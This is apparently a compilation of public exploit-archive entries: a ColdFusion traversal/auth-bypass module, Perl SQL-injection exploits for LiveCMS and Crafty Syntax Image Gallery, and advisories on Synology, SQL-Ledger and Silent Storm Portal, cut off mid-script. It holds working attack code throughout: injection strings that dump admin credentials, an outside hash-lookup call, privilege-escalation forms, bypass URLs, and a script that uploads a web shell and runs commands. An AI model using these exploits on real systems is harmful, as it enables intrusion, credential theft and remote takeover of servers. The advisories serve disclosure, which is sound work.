# Authenticates to ColdFusion Administrator via the adminapi using the
# specified +user+ and +password+. If +use_rds+ is true, it is assumed that
# the provided credentials are for RDS, otherwise they are assumed to be
# credentials for ColdFusion Administrator.
#
# Returns a hash (cookie name => value) of the cookies obtained
def adminapi_login user, password, use_rds
vprint_status "Attempting ColdFusion Administrator adminapi login"
user ||= ''
password ||= ''
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
'method' => 'POST',
'connection' => 'TE, close',
'vars_post' => {
'method' => 'login',
'adminUserId' => user,
'adminPassword' => password,
'rdsPasswordAllowed' => (use_rds ? '1' : '0')
}
})
if res
if res.code == 200
vprint_status "HTTP #{res.code} when authenticating"
return get_useful_cookies(res)
else
print_error "HTTP #{res.code} when authenticating"
end
else
print_error "No response when authenticating"
end
{}
end
# Authenticates to ColdFusion Administrator using the specified +user+ and
# +password+
#
# Returns a hash (cookie name => value) of the cookies obtained
def administrator_login user, password
cf_cookies = administrator_9x_login user, password
unless got_auth? cf_cookies
cf_cookies = administrator_10x_login user, password
end
cf_cookies
end
def administrator_10x_login user, password
# coldfusion 10 appears to do:
# cfadminPassword.value = hex_sha1(cfadminPassword.value)
vprint_status "Trying ColdFusion 10.x Administrator login"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
'method' => 'POST',
'vars_post' => {
'cfadminUserId' => user,
'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,
'requestedURL' => '/CFIDE/administrator/index.cfm',
'submit' => 'Login',
}
})
if res
if res.code.to_s =~ /^30[12]/
useful_cookies = get_useful_cookies res
if got_auth? useful_cookies
return useful_cookies
end
else
if res.body =~ /<title>Error/i
print_status "Appears to be restricted and/or not ColdFusion 10.x"
elsif res.body =~ /A License exception has occurred/i
print_status "Is license restricted"
else
vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request. Not 10.x?"
vprint_status res.body
end
end
end
return {}
end
def got_auth? cookies
not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?
end
def administrator_9x_login user, password
vprint_status "Trying ColdFusion 9.x Administrator login"
# coldfusion 9 appears to do:
# cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));
#
# You can get a current salt from
# http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt
#
# Unfortunately that URL might be restricted and the salt really just looks
# to be the current time represented as the number of milliseconds since
# the epoch, so just use that
salt = (Time.now.to_i * 1000).to_s
pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
'method' => 'POST',
'vars_post' => {
'submit' => 'Login',
'salt' => salt,
'cfadminUserId' => user,
'requestedURL' => '/CFIDE/administrator/index.cfm',
'cfadminPassword' => pass,
}
})
if res
return get_useful_cookies res
else
print_error "No response while trying ColdFusion 9.x authentication"
end
{}
end
# Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
#
# Returns a hash (cookie name => value) of the cookies obtained
def componentutils_login user, password
vprint_status "Attempting ColdFusion ComponentUtils login"
vars = {
'j_password_required' => "Password+Required",
'submit' => 'Login',
}
vars['rdsUserId'] = user if user
vars['j_password'] = password if password
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),
'method' => 'POST',
'connection' => 'TE, close',
'vars_post' => vars
})
cf_cookies = {}
if res.code.to_s =~ /^(?:200|30[12])$/
cf_cookies = get_useful_cookies res
else
print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
end
cf_cookies
end
def check_cve_2013_0629
vulns = 0
paths = %w(../../../license.txt ../../../../license.html)
# first try password-less bypass in the event that this thing
# was just wide open
vuln_without_creds = false
paths.each do |path|
if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_without_creds = true
break
end
end
if vuln_without_creds
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"
end
# if credentials are provided, try those too
if datastore['USERNAME'] and datastore['PASSWORD']
vuln_without_bypass = false
paths.each do |path|
cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD']
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_without_bypass = true
break
end
end
if vuln_without_bypass
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"
end
end
# now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open
vuln_with_bypass = false
paths.each do |path|
cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true
# we need to take the cookie value from CFAUTHORIZATION_cfadmin
# and use it for CFAUTHORIZATION_componentutils
cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']
cf_cookies.delete 'CFAUTHORIZATION_cfadmin'
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_with_bypass = true
break
end
end
if vuln_with_bypass
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
end
vulns > 0
end
# Checks for CVE-2013-0632, returning true if the target is
# vulnerable, false otherwise
def check_cve_2013_0632
if datastore['USERDS']
# the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
# subsequently *enabled* after install, the password is unset so we simply must
# check that and only that.
cf_cookies = adminapi_login 'foo', 'bar', true
if cf_cookies.empty?
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"
else
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"
return true
end
else
print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"
end
false
end
def traverse_read path, cookies
uri = normalize_uri(target_uri.path)
uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
uri << path
res = send_request_cgi(
{
'uri' => uri,
'method' => 'GET',
'connection' => 'TE, close',
'cookie' => build_cookie_header(cookies)
})
res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
end
end
g00ns/LiveCMS <= 3.4 (categoria.php cid) Remote SQL Injection Exploit ( php)
#!/usr/bin/perl
##############################################################################################
# ___ ___ _
# / _ \ / _ \ | |
# __ _| | | | | | |_ __ ___ _ __ ___| |_
# / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | | __/ |_
# \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
# __/ |
# |___/
###############################################################################################
#INFO:
#Program Title ################################################################################
#LiveCMS <= 3.4 SQL Injection, Absolute Path Disclosure, XSS Injection, Arbitrary File Upload
#
#Description ##################################################################################
#This is a free CMS system.
#
#Script Download ##############################################################################
#http://sourceforge.net/project/downloading.php?group_id=78735&use_mirror=ufpr&filename=livecms-3.4.tar.gz&12060460
#http://livecms.com
#
#Original Advisory #############################################################################
#http://www.g00ns-forum.net/showthread.php?t=9350
#
#Exploit #######################################################################################
#credz to Vipsta and Clorox for vulnerability
#[c]ode by TrinTiTTY (2007) www.g00ns.net
#shoutz: z3r0, milf, blackhill, godxcel, murderskillz, katalyst, SyNiCaL, OD, pr0be, rezen, str0ke,
#fish, rey, canuck, c0ma, sick, trin, a59, seven, fury, <S>, Bernard, and everyone else at g00ns.net
#
#Details #######################################################################################
#APD: The absolute path is disclosed in a mysql error when categoria.php's paramater cid is queried with a non-defined
#variable. example: categoria.php?cid='
#XSS: Article names are not properly santised, a user could insert malicious javascript
#AFU: Articles can have a small image that is uploaded with them, however LiveCMS fails to restrict what file types
#can be uploaded. A user could upload a malicious script with this method and compromise the server.
#GoogleDork: "powered by livecms"
#
################################################################################################
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
# LiveCMS <= 3.3 [ categoria.php ] #
# ] Remote SQL Injection [ #
# #
# [c]ode by TrinTiTTY [at] g00ns.net #
# Vulnerability by Vipsta and Clorox #
# #
# #
# [irc.g00ns.net] [www.g00ns.net] [ts.g00ns.net] #
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
use LWP;
$host = @ARGV[0];
$ua = LWP::UserAgent->new;
my $uject ='categoria.php?cid=1%20UNION%20ALL%20SELECT%201,2,user,4,5,6%20FROM%20live_admin%20WHERE%20userid=1/*';
my $pject ='categoria.php?cid=1%20UNION%20ALL%20SELECT%201,2,pass,4,5,6%20FROM%20live_admin%20WHERE%20userid=1/*';
if (@ARGV < 1){&top( );&usage( )}
elsif ($host =~ /http:\/\//){print"\n\n [-] Don't use http:// in host\n";exit( 0 );}
else { &getUser( ) }
sub getUser( ) {
system("color 4");
&top( );
print "\n [~] Retrieving admin username\n";
$nameres = $ua->get("http://$host/$uject");
$namecon = $nameres->content;
if ($namecon =~ /<td>(.*)a href=\"(.*)\"(.*)>(.*)<\/a><\/td>/gmi)
{
$user = $4;
print "\n [+] Admin user retrieved: $user\n";
print "\n [~] Retrieving password for $user\n";
getPass( )
}
else {
print "\n [-] Unable to retrieve admin username\n";
print "\n [~] Retrieving password\n";
getPass( )
}
}
sub getPass( ) {
$passres = $ua->get("http://$host/$pject");
$passCon = $passres->content;
if ($passCon =~ /<td>(.*)a href=\"(.*)\"(.*)>([a-f0-9]{32})<\/a><\/td>/gmi)
{
$pass = $4;
print "\n [+] Admin password retrieved: $pass\n";
&resolveHash($pass);
system("color 7");
}
else {
print "\n [-] Unable to retrieve admin password\n";
system("color 7");
exit(0);
}
}
sub resolveHash($)
{
print "\n [~] Attempting to resolve hash\n";
$hashget = LWP::UserAgent->new; #thx gdata
$resp = $hashget->get("http://gdataonline.com/qkhash.php?mode=txt&hash=$_[0]"); # checks gdata for hash
$hashans = $resp->content;
if ($hashans =~ m\width="35%"><b>([ -_a-z0-9.*?&=;<>/""]{1,25})</b></td>\){
$crack = $1;
print "\n [+] Password hash resolved: $crack\n";
system("color 7");
exit(0);
}
else {
print "\n [-] Couldn't resolve hash\n";
system("color 7");
exit(0);
}
}
sub top( )
{
print q {
##################################################################
# LiveCMS <= 3.3 [ categoria.php ] #
# ] Remote SQL Injection [ #
# #
# [c]ode by TrinTiTTY [at] g00ns.net #
# Vulnerability by Vipsta and Clorox #
##################################################################
}
}
sub usage( )
{
print "\n Usage: perl livecms33.pl <host>\n";
print "\n Example: perl livecms33.pl www.example.com/path\n\n";
exit(0);
}
# milw0rm.com [2007-06-20]
Rodrigo Rubira Branco/Synology Disk Station Code Execution / Cross Site Request Forgery / Cross Site Scripting ( na)
Check Point Software Technologies - Vulnerability Discovery Team (VDT)
http://www.checkpoint.com/defense/
Web commands injection through FTP Login in Synology Disk Station
CVE-2010-2453
INTRODUCTION
Synology Inc develops high-performance, reliable, versatile, and environmentally-friendly Network Attached Storage (NAS) products. Synology's goal
is to deliver user-friendly storage solutions and solid customer service to satisfy the needs of businesses, home offices, individual users and
families.
The disk station product provided by Synology as Network Attached Storage is vulnerable to multiple vulnerabilities including the possibility of
remote command execution via CSRF (Cross Site Request Forging) through FTP login console. The FTP server is provided as a configurable service
through web interface which provides backend access to manage the disks station. The problem occurs in the FTP logging mechanism together with the
admin interface used to view those logs. The FTP console input in the form username and password gets logged in the web application interface.
This problem was confirmed in the following versions of Synology Disk Station, other versions may be also affected.
Synology Disk Station 2.x
Synology issued an update for this vulnerability in the release DSM3.0-1337.
CVSS Scoring System
The CVSS score is: 9.5
Base Score: 10
Temporal Score: 9.5
We used the following values to calculate the scores:
Base score is: AV:N/AC:L/Au:N/C:C/I:C/A:C
Temporal score is: E:F/RL:U/RC:C
DETAILS
There are four steps for exploitation, specified here together with the identified problem:
1. The attacker can inject malicious input from the FTP login console. As the authentication credentials are inappropriate the FTP authentication
module generates error and the requisite input is logged in to the web interface of the disk station.
2. Secondly the FTP logging module is not designed appropriately and the content comes from the FTP login console is directly placed into the log
window without verification of the Content-Type parameter. The content is allowed to be rendered as HTML, Script etc. An attacker can inject
malicious HTML tags, DOM calls, third part y scripts, CSRF calls that gets executed in the context of logged in account which is administering it.
3. Usually log mechanism is handled by the admin account. The chances of code execution and injection fulfillment are high within full privileges
as of administrator. So any code injected by the attacker becomes persistent in most of the cases and remain there for execution. Moreover CSRF
code with malicious calls can be executed without user interaction.
4. Attacker has to be well versed in directory structure of the disk station manager so that injections can be made according to that and further
operations can be performed. The FTP servers accept username string upto 80-100 characters which is good enough to craft injections to get the
things done The scripts can be inserted from local domain or LAN or third party source to inject arbitrary code.
C:\Users\Administrator>ftp example.com
Connected to example.com.
220 Disk Station FTP server at DiskStation ready.
User (example.com:(none)): "/><script>alert("Check Point VDT"</script>
331 Password required for "/><script>alert("Check Point VDT"</script>
Password:
530 Login incorrect.
Login failed.
ftp> Invalid command.
ftp> bye
421 Timeout (300 seconds): closing control connection.
In order to determine the size of the allowed input string, we can do:
C:\Users\Administrator>ftp example.com
Connected to example.com.
220 Disk Station FTP server at DiskStation ready.
User (example.com:(none)): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -> Our input
331 Password required for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA. -> The total lenght really used
Password:
530 Login incorrect.
Login failed.
ftp> Invalid command.
ftp> bye
421 Timeout (300 seconds): closing control connection.
CREDITS
This vulnerability was discovered and researched by Rodrigo Rubira Branco from Check Point Vulnerability Discovery Team (VDT) and Aditya
K. Sood from Secniche.
Best Regards,
Rodrigo.
--
Rodrigo Rubira Branco
Senior Security Researcher
Vulnerability Discovery Team (VDT)
Check Point Software Technologies
Synology Disk Station suffers from code execution, cross site request forgery and cross site scripting vulnerabilities.
Chris Travers/overtheledger.txt ( na)
Hi; Affected versions: LedgerSMB < 1.1.10 (but see below), current is 1.1.11 SQL-Ledger < 2.6.27 (but see below). Current is 2.6.27 Effects: Arbitrary code execution (both products) and authentication bypass (SQL-Ledger only). We have discovered yet another major security issue in both SQL-Ledger (for affected versions, see below) and LedgerSMB (<1.1.10, but see below). The problem exists because the login input variable is not properly checked, and the software runs a perl script derived from the login name. If the script completes and a password is set, the password is checked. In LedgerSMB, an additional check is made against a session table, which will cause the script to go no further, but in SQL-Ledger, this can also result in authentication bypass. Affected Versions: Unfortunately, both projects suffered problems with their security fixes. The LedgerSMB team failed to update their version strings properly so 1.1.10 will still display 1.1.9 as its running version. To differentiate, you can use md5sum on the LedgerSMB/Form.pl c9621e0ed0fd633663e1be3c6d5b08c4 ledger-smb-1.1.10/LedgerSMB/Form.pm c311f02eaeee9e0638cbe08a650ab86d ledger-smb-1.1.9/LedgerSMB/Form.pm The SQL-Ledger case is probably worse. The initial release of 2.6.27 included an inadequate and broken fix. A new security fix was issued later that day, but it is unclear when all mirrors were updated, and users who downloaded that version cannot be sure that they got one that was not vulnerable. The initial security fix offers little safety: authentication bypass and arbitrary code execution are still largely possible though perhaps not at the same time (as they were before). The following md5sum's reflect whether 2.6.17 was patched or not: e97dc79c171a45bb794e253f94caef49 is unpatched 2a2dc05d5ac7085bd9e6aaa7098e1bf1 is patched. How the exploit works: SQL-Ledger and their derivatives (including LedgerSMB < forthcoming 1.2.0), store login state information in a machine-writable perl script in a configurable location (by default users/). This file is read on each page load and is named [username].conf. This file contains a hash definition which is then used to validate the user's authentication token. No provisions are taken to prevent directory transversal prior to these fixes, however. One can form a URL like: http://localhost/sql-ledger/am.pl?login=../../../home/user/foo.pl%00&action=add_department This causes the web server to execute ../../home/user/foo.pl (the %00 gets translated into a terminating NULL) and will then either allow access (in SQL-Ledger < 2.6.27) or provide an error. In the faulty versions of 2.6.27 and vulnerable versions of LedgerSMB, it will still execute the script however. The faulty version of SQL-Ledger have a major oversight, however, that lends well to testing. Because the only check is on the NUL and not on the signs of directory transversal, you can test the authentication bypass and get access to sensitive configuration (including obfuscated but unencrypted database passwords and application password hashes). A sample URL for this is: http://localhost/sql-ledger/am.pl?login=../sql-ledger&path=bin/mozilla&action=edit_template&file=users/members This works because there is usually a Perl script named sql-ledger.conf in the directory above where these scripts are normally stored. So the username forces the execution of that script, doesn't find a password, and so allows the user in. Lovely.... Best Wishes, Chris Travers
LedgerSMB versions below 1.1.10 and SQL-Ledger versions below 2.6.27 suffer from arbitrary code execution flaws. SQL-Ledger also suffers from an authentication bypass vulnerability. Details provided.
/silentstorm.txt ( na)
#####################################
# CHT Security Research-2004 #
# http://www.CyberSpy.Org #
# Turkey #
#####################################
Software:
Silent Storm Portal
Web Site:
http://www.silent-storm.co.uk/ssp/
Affected Version(s):
2.1,2.2
Description:
Silent Storm Portal is a PHP based portal system.It requires PHP4 or above.no MySQL needed.
Multiple Vulnerabilities in Silent Storm Portal:
Cross-Site Scripting vulnerability :
Silent Storm Portal is prone to cross-site scripting attacks. It is possible to construct a link containing arbitrary script code to a website running Silent Storm Portal . When a user browses the link, the script code will be executed on the user in the context of the site using the Portal.The impact of this issue is that the attacker is able to hijack a legitimate web user's session, by stealing cookie-based authentication credentials.
Demonstration:
http://www.victim.com/index.php?module=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E
Unauthorized Administrative Access Vulnerability :
Silent Storm Portal stores all account informations,usernames and passwords in the users.dat file.This file is a plaintext file stored in the db directory.There is a flaw in profile.php file which could allow normal members to gain escalated privileges.The issue occurs due to insufficient sanitization of user-supplied data that may allow escape character sequences to be injected into the users.dat file.Submitting an e-mail address with an evil level code via profile module will inject Administrator level value into the database file and will escalate the current level to Administrator privileges.
Demonstration:
Register a user account then login and run the exploit.html
---exploit.html----
<form method="post" action="http://www.victim.com/index.php?module=../../profile">
<input type="text" name="mail" value="any@mail.com"><br>
<input type="hidden" name="mail" value="<~>1<~>">
<input type="submit" name="post" value="Get Admin!">
</form>
---/exploit.html---
That's All!
What Happened?
The 3rd line of exploit.html injected Administrator level "1" into the database file.
( 1: Administrator,2: is Normal User. )
examples from the database file:
before exploiting:
evilaccount<~>password<~>any@mail.com<~>2<~><~><~><~><~>
Level
Normal User
after exploiting:
evilaccount<~>password<~>any@mail.com<~>1<~><~>2<~><~><~><~><~><~><~>
Injected Level
Administrator
You'll get "Updated Your Profile Sucessfuly !" message after executing the exploit.html
That's All! logout and re-login with your username/password.
click to "Admin Panel" link. ( index.php?module=../../apanel )
Now you have full Administrator privileges.
Here is another code that creates an Administrator account directly on the victim's portal:
---exploit2.html----
<form method="post" action="http://www.victim.com/index.php?module=../../Home">
User:<input type="text" name="usr" size="10"><br>
Pass:<input type="password" name="pas" size="10"><br>
<input type=hidden name="ema" value="any@mail.com<~>1<~>"><br>
<input type="submit" name="reg" value="Create Admin!">
</form>
---/exploit2.html---
----------------------------
The original article can be found at:
http://www.CyberSpy.Org
(Turkish Language)
The Silent Storm Portal versions 2.1 and 2.2 suffer from cross site scripting and unauthorized administrative access vulnerabilities due to a lack of variable sanitization.
undefined1_/Crafty Syntax Image Gallery <= 3.1g Remote Code Execution Exploit ( php)
#!/usr/bin/perl
###############################################################################
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
###############################################################################
# =====================================================
# $ crappy_syntax.pl localhost/csig/ 80
#
# :: crafty syntax image gallery <= 3.1g
# :: by undefined1_ @ bash-x.net/undef/
# :: note: this works only on mysql >= 4.0
#
#
# [+] creating user account
# [+] user: 98fe56123
# password: 7652L4M3l39q
# email: SehswdSx0E@hotmail.com
# [+] user '98fe56123' with password '7652L4M3l39q' registered
# [+] logged in as 98fe56123
# [+] projectid is 2
# [-] no admin found for this projectid, trying the username 'admin'
# [+] admin username: 'admin'
# [+] admin password: '1111'
# [+] logged in as 'admin'
# [+] getting shell location
# [+] shell @ 'userimages/1/18d76bcbc6f2.php'
# [+] have phun?
#
# localhost$ uname
# Linux
# localhost$ whoami
# nobody
# =====================================================
use strict;
use IO::Socket;
$| = 1;
print ":: crafty syntax image gallery <= 3.1g\n";
print ":: by undefined1_ @ bash-x.net/undef/\n";
print ":: note: this works only on mysql >= 4.0\n\n\n";
my $website = shift || usage();
my $port = shift || usage();
my $user = shift;
my $password = shift;
my $location = shift;
my $path = "/";
my $server = $website;
if(index($website, "/") != -1)
{
$path = substr($website, index($website, "/"));
$server = substr($website, 0, index($website, "/"));
if(substr($path, length($path)-1) ne "/")
{
$path .= "/";
}
}
if($location eq "")
{
if($user eq "" && $password eq "")
{
print "[+] creating user account\n";
$user = randstring(8,12);
$password = randstring(8,12);
my $email = randstring(8,12)."\@hotmail.com";
printf("[+]\tuser: %s\n", $user);
printf("\tpassword: %s\n", $password);
printf("\temail: %s\n", $email);
register($server, $path, $user, $user, $password, $email);
}
my $cookies = login($server, $port, $path, $user, $password);
my $projectid = get_projectid($server, $port, $path, $cookies);
my @admin = send_payload($server, $port, $path, $cookies, $projectid);
$cookies = login($server, $port, $path, $admin[0], $admin[1]);
upload_shell($server, $port, $path, $cookies, $projectid);
$location = get_shell_location($server,$port,$path,$cookies);
}
check_shell($server, $port, $path, $location);
printf("[+] have phun?\n\n");
my $command;
while(1)
{
print $server."\$ ";
while(<STDIN>)
{
$command = $_;
chomp($command);
last;
}
do_shell($server,$port,$path,$location,$command);
}
sub send_payload(\$,\$,\$,\$,\$) {
my $server = shift;
my $port = shift;
my $path = shift;
my $cookies = shift;
my $projectid = shift;
my $shellcode;
$shellcode = "\x61\x6e\x64\x20\x31\x3d\x30\x20\x75\x6e\x69\x6f\x6e\x20";
$shellcode .= "\x61\x6c\x6c\x20\x73\x65\x6c\x65\x63\x74\x20\x31\x2c\x32";
$shellcode .= "\x2c\x33\x2c\x34\x2c\x35\x2c\x75\x73\x65\x72\x69\x64\x20";
$shellcode .= "\x61\x73\x20\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e";
$shellcode .= "\x2c\x37\x2c\x38\x2c\x39\x2c\x30\x2c\x31\x2c\x32\x2c\x33";
$shellcode .= "\x2c\x34\x2c\x35\x2c\x35\x20\x66\x72\x6f\x6d\x20\x67\x61";
$shellcode .= "\x6c\x6c\x65\x72\x79\x5f\x61\x63\x63\x65\x73\x73\x20\x77";
$shellcode .= "\x68\x65\x72\x65\x20\x67\x61\x6c\x6c\x65\x72\x79\x69\x64";
$shellcode .= "\x3d";
$shellcode .= $projectid;
$shellcode .= "\x20\x61\x6e\x64\x20\x70\x65\x72\x6d\x69\x73\x73\x69\x6f";
$shellcode .= "\x6e\x73\x3d\x43\x4f\x4e\x43\x41\x54\x28\x30\x78\x34\x36";
$shellcode .= "\x35\x35\x34\x63\x34\x63\x29\x20\x2d\x2d";
my $query = "GET ".$path."slides.php?limitquery_s=".urlEncode($shellcode)." HTTP/1.1\r\n";
$query .= "Host: $server\r\n";
$query .= "User-Agent: Mozilla/5.0\r\n";
$query .= "Connection: close\r\n";
$query .= $cookies;
$query .= "\r\n";
my $data = sendpacket($server, $port, $query);
if($data !~ /photo_captions\[1\] = "/)
{
print "[-] no admin found for this projectid, trying the username 'admin'\n";
$shellcode = "and 1=0 union all select 1,username as image,3,4,5,password AS description,7,8,9,10,11,12,13,14,15,16 from gallery_users where username=CONCAT(0x61646d696e) --";
$query = "GET ".$path."slides.php?limitquery_s=".urlEncode($shellcode)." HTTP/1.1\r\n";
$query .= "Host: $server\r\n";
$query .= "User-Agent: Mozilla/5.0\r\n";
$query .= "Connection: close\r\n";
$query .= $cookies;
$query .= "\r\n";
my $data = sendpacket($server, $port, $query);
if($data !~ /photo_captions\[1\] = "/ || $data !~ /photo_urls\[1\] = "/)
{
print "[-] exploit failed\n";
exit;
}
my $index1 = index($data, "photo_captions[1] = \" ") + 22;
my $index2 = index($data, "\"", $index1);
my $passwd = substr($data, $index1, $index2-$index1);
$index1 = index($data, "photo_urls[1] = \"") + 17;
$index2 = index($data, "\"", $index1);
$data = substr($data, $index1, $index2-$index1);
$index1 = rindex($data, "/") + 1;
my $username = substr($data, $index1);
print "[+] admin username: '$username'\n";
print "[+] admin password: '$passwd'\n";
my @ret;
push(@ret, $username);
push(@ret, $passwd);
return @ret;
}
my $index1 = index($data, "photo_captions[1] = \" ") + 22;
my $index2 = index($data, "\"", $index1);
my $uid = substr($data, $index1, $index2-$index1);
print "[+] admin uid: '$uid'\n";
$shellcode = "and 1=0 union all select 1,username as image,3,4,5,password AS description,7,8,9,10,11,12,13,14,15,16 from gallery_users where recno=".$uid." --";
$query = "GET ".$path."slides.php?limitquery_s=".urlEncode($shellcode)." HTTP/1.1\r\n";
$query .= "Host: $server\r\n";
$query .= "User-Agent: Mozilla/5.0\r\n";
$query .= "Connection: close\r\n";
$query .= $cookies;
$query .= "\r\n";
my $data = sendpacket($server, $port, $query);
if($data !~ /photo_captions\[1\] = "/ || $data !~ /photo_urls\[1\] = "/)
{
print "[-] exploit failed (mysql < 4 ?)\n";
exit;
}
$index1 = index($data, "photo_captions[1] = \" ") + 22;
$index2 = index($data, "\"", $index1);
my $passwd = substr($data, $index1, $index2-$index1);
$index1 = index($data, "photo_urls[1] = \"") + 17;
$index2 = index($data, "\"", $index1);
$data = substr($data, $index1, $index2-$index1);
$index1 = rindex($data, "/") + 1;
my $username = substr($data, $index1);
print "[+] admin username: '$username'\n";
print "[+] admin password: '$passwd'\n";
my @ret;
push(@ret, $username);
push(@ret, $passwd);
return @ret;
}
sub do_shell(\$,\$,\$,\$,\$) {
my $server = shift;
my $port = shift;
my $path = shift;
my $location = shift;
my $command = shift;
my $d = "c=".$command;
my $query = "POST ".$path.$location." HTTP/1.1\r\n";
$query .= "Content-Type: application/x-www-form-urlencoded\r\n";
$query .= "Host: $server\r\n";
$query .= "User-Agent: Mozilla/5.0\r\n";
$query .= "Connection: close\r\n";
$query .= "Content-Length: ".length($d)."\r\n";
$query .= "\r\n";
$query .= $d;
my $data = sendpacket($server, $port, $query);
my $index = index($data, "\r\n\r\n");
if($index >= 0)
{
print substr($data, $index+4)."\n";
}
else
{
print "[-] shell error?\n";
}
}
sub check_shell(\$,\$,\$,\$) {
my $server = shift;
my $port = shift;
my $path = shift;
my $location = shift;
my $query = "GET ".$path.$location." HTTP/1.1\r\n";
$query .= "Host: $server\r\n";
$query .= "User-Agent: Mozilla/5.0\r\n";
$query .= "Connection: close\r\n";
$query .= "\r\n";
my $data = sendpacket($server, $port, $query);
if($data !~ /HTTP\/1.1 200 OK/)
{
print "[-] shell not found\n";
print "[-] try ".$server.$path."/userimages/\n";
exit;
}
}
sub get_shell_location(\$,\$,\$,\$) {
print "[+] getting shell location\n";
my $server = shift;
my $port = shift;
my $path = shift;
my $cookies = shift;
my $shellcode;
$shellcode = "\x61\x6e\x64\x20\x69\x6d\x61\x67\x65\x20\x4c\x49\x4b\x45\x20\x43";
$shellcode .= "\x4f\x4e\x43\x41\x54\x28\x30\x78\x32\x35\x32\x65\x37\x30\x36\x38";
$shellcode .= "\x37\x30\x29\x20\x6f\x72\x64\x65\x72\x20\x62\x79\x20\x72\x65\x63";
$shellcode .= "\x6e\x6f\x20\x64\x65\x73\x63\x20\x6c\x69\x6d\x69\x74\x20\x31\x20";
$shellcode .= "\x2d\x2d";
my $query = "GET ".$path."slides.php?limitquery_s=".urlEncode($shellcode)." HTTP/1.1\r\n";
$query .= "Host: $server\r\n";
$query .= "User-Agent: Mozilla/5.0\r\n";
$query .= "Connection: close\r\n";
$query .= $cookies;
$query .= "\r\n";
my $data = sendpacket($server, $port, $query);
if($data =~ /There are no photos in this gallery/)
{
print "[-] shell not found\n";
print "[-] try ".$server.$path."/userimages/\n";
exit;
}
my $index1 = index($data, "photo_urls[1] = \"") + 17;
my $index2 = index($data, "\"", $index1);
my $location = substr($data, $index1, $index2-$index1);
print "[+] shell @ '".$location."'\n";
return $location;
}
sub get_projectid(\$,\$,\$,\$) {
my $server = shift;
my $port = shift;
my $path = shift;
my $cookies = shift;
my $query = "GET ".$path."imagemenu.php?html=menu.tpl HTTP/1.1\r\n";
$query .= "Host: $server\r\n";
$query .= "User-Agent: Mozilla/5.0\r\n";
$query .= "Connection: close\r\n";
$query .= $cookies;
$query .= "\r\n";
my $data = sendpacket($server, $port, $query);
my $projectid;
if($data =~ /\?projectid=([0-9]*)/)
{
$projectid = $1;
}
else
{
